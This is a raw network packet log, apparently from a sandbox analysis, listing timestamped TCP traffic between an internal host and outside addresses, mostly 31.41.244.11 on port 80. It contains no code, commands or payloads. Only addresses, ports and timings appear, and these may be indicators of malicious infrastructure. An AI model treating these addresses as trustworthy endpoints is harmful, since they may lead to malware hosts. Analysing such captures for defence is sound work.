Dec 18, 2024 21:30:26.698790073 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.698915958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.698954105 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.699795961 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.699835062 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.699980021 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.700016975 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.700833082 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.700871944 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.701025009 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.701164961 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.701913118 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.701951981 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.702060938 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.702106953 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.702986002 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.703067064 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.703174114 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.703218937 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.704039097 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.704085112 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.704206944 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.704248905 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.705064058 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.705111027 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.705244064 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.705315113 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.706127882 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.706176996 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.706396103 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.706439018 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.707237005 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.707284927 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.707422972 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.707465887 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.708287954 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.708333015 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.708440065 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.708481073 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.709333897 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.709398031 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.709510088 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.709551096 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.710383892 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.710431099 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.710551977 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.710591078 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.711478949 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.711538076 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.711602926 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.711646080 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.712517977 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.712564945 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.712642908 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.712683916 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.713588953 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.713633060 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.713774920 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.714271069 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.714602947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.714786053 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.714804888 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.714871883 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.715662956 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.715711117 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.715827942 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.716757059 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.716818094 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.716922998 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.717793941 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.717839956 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.717947960 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.718185902 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.718837023 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.719016075 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.719060898 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.719898939 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.720079899 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.720124960 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.720946074 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.721134901 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.721179008 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.722095013 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.722182989 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.722228050 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.723131895 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.723175049 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.723289013 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.724194050 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.724236965 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.724306107 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.725214958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.725259066 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.725450039 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.726181984 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.726278067 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.726412058 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.726454973 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.727334023 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.727515936 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.727570057 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.728387117 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.728576899 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.728626966 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.729382992 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.730194092 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.833987951 CET	443	49805	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:26.834101915 CET	443	49805	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:26.834196091 CET	49805	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:26.837193966 CET	49805	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:26.837210894 CET	443	49805	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:26.837225914 CET	49805	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:26.837230921 CET	443	49805	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:26.846992970 CET	49810	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:26.847045898 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:26.847160101 CET	49810	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:26.847534895 CET	49810	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:26.847551107 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:26.866235018 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.866343021 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.866467953 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.866627932 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.866954088 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.867023945 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.867733955 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.867790937 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.867862940 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.868942022 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.869003057 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.869136095 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.869729042 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.869826078 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.870115995 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.870177984 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.870881081 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.870898008 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.870959044 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.871890068 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.871944904 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.872337103 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.872952938 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.873023033 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.873298883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.874056101 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.874119043 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.874250889 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.875142097 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.875196934 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.875293016 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.876162052 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.876219988 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.876307964 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.876348972 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.877362013 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.877454996 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.877506018 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.878334045 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.878483057 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.878539085 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.879347086 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.879525900 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.879582882 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.880429983 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.880572081 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.880630970 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.881486893 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.881638050 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.881695986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.882469893 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.882707119 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.882770061 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.883682013 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.883745909 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.883816957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.884618044 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.884674072 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.884782076 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.885706902 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.885761976 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.885951996 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.886198997 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.886722088 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.886913061 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.886962891 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.887804985 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.887995005 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.888055086 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.888947964 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.889003038 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.889035940 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.889910936 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.889961958 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.890198946 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.891042948 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.891105890 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.891124010 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.891169071 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.892020941 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.892213106 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.892265081 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.893228054 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.893429041 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.893482924 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.894107103 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.894184113 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.894412994 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.895215988 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.895272017 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.895349026 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.896292925 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.896362066 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.896439075 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.896491051 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.897316933 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.897527933 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.897583961 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.898374081 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.898538113 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.898588896 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.899516106 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.899600983 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.899650097 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.900511980 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.900661945 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.900747061 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.901531935 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.901698112 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.901762009 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.902611017 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.902825117 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.902879953 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.903682947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.903734922 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.903856993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.904745102 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.904815912 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.904894114 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.905836105 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.905890942 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.905962944 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.906009912 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.906855106 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.907013893 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.907064915 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.907902002 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.908075094 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.908127069 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.908945084 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.908996105 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.909127951 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.910087109 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.910137892 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.910207033 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.911103964 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.911155939 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.911290884 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.911335945 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.912128925 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.912309885 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.912368059 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.913196087 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.913415909 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.913465023 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.914246082 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.914447069 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.914498091 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.915293932 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.915344000 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.915463924 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.916358948 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.916410923 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.916512966 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.917438984 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.917489052 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.917571068 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.917618036 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.918482065 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.918697119 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.918747902 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.919528961 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.919718027 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.919775009 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.920648098 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.920696974 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.920744896 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.921591997 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.921644926 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.939737082 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:26.940012932 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:26.940103054 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:26.940136909 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:26.940691948 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:26.940746069 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:26.940754890 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:26.950635910 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:26.950815916 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:26.950882912 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:26.950901985 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:26.954224110 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:26.958965063 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:26.967437983 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:26.967590094 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:26.967652082 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:26.967669010 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:26.968664885 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.058358908 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.058429956 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.058501959 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.058584929 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.058819056 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.058860064 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.059041023 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.059140921 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.059211016 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.059258938 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.059585094 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.060000896 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.060241938 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.060293913 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.061018944 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.061077118 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.061158895 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.061233044 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.062055111 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.062107086 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.062233925 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.062283039 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.063127041 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.063165903 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.063297033 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.064240932 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.064284086 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.064357996 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.065017939 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.065269947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.065323114 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.065438986 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.065490961 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.066293001 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.066426992 CET	49808	80	192.168.2.5	31.41.244.11
